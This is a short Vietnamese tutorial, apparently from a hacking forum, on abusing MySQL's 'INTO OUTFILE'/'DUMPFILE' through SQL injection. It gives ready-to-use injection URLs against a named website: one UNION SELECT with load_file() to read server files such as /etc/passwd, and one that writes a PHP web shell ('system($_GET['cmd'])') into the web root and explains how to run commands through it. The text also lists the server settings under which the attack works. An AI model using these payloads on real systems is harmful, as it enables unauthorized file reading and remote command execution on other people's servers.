Trong bài viết này tôi sẽ đề cập đến câu lệnh “into outfile“, 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:
=======================================================================
victim thuộc loại này hơi bị khó tìm nên moi người thông cảm :D, đọc tham khảo thôi nhé ^^!
victim: huynhdegroup.net/@VHB@/forum.php?id=1099 <~ link xàm nhé :D
ví dụ website này có 3 cột, version 5 (có thể khai thác)
1. Đọc file
- huynhdegroup.net/@VHB@/forum.php?id=-1099 union select 1,load_FILE(0xđường_dẫn_file_cần_đọc),3 #
trong đó "đường_dẫn_file_cần_đọc" là đường dẫn đến 1 file nào đó có trong hệ thống này (ví dụ như: /home/vhb/public_html/@VHB@/forum.php hoặc /etc/passwd) và mã hóa nó thành hex. Sau đó thì view-source, code nằm hiện ra trước mắt ta :D
2. tạo file
- huynhdegroup.net/@VHB@/forum.php?id=-1099 union select 1,'<?php system($_GET['cmd']); ?>',3+INTO+DUMPFILE+"/đường_dẫn_file_dc_lưu/vhb.php"#
trong đó '<?php system($_GET['cmd']); ?>' là nội dung file sẽ dc tạo, INTO+DUMPFILE là mã lệnh thực thi, "/đường_dẫn_file_dc_lưu/vhb.php" là đường dận file sẽ dc lưu vào 1 nơi nào đó trong hệ thống (vhb.php là tên file sẽ dc tạo, ví dụ: /home/vhb/public_html/@VHB@/vhb.php). cái code shell trên khi chạy shell thì nó sẽ như vầy "http://huynhdegroup.net/@VHB@/vhb.php?cmd=" và nó được sữ dụng như chức năng system trên 1 con shell bình thường.
Yêu cầu: server phải Safe_mod=Off, magic_quotes_gpc = OFF (heavendie góp ý).
Xem Thêm